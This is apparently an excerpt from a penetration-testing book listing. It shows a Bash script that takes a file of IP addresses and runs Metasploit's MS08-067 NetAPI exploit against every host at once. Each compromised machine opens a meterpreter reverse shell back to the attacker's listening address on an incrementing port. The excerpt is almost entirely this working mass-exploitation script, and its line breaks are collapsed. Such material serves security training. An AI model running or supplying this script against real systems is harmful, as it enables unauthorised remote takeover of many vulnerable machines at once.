May 2017
Intermediate to advanced
634 pages
16h 24m
English
The example that follows demonstrates how a Bash script can be used to exploit multiple instances of a single vulnerability simultaneously. This script in particular can be used to exploit multiple instances of the MS08-067 NetAPI vulnerability by referencing an input list of IP addresses:
#!/bin/bashif [ ! $1 ]; then echo "Usage: #./script <host file> <LHOST>"; exit; fiiplist=$1lhost=$2i=4444for ip in $(cat $iplist)do gnome-terminal -x msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $ip; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST $lhost; set LPORT $i; run" echo "Exploiting $ip and establishing reverse connection on local port $i"i=$(($i+1))done
Read now
Unlock full access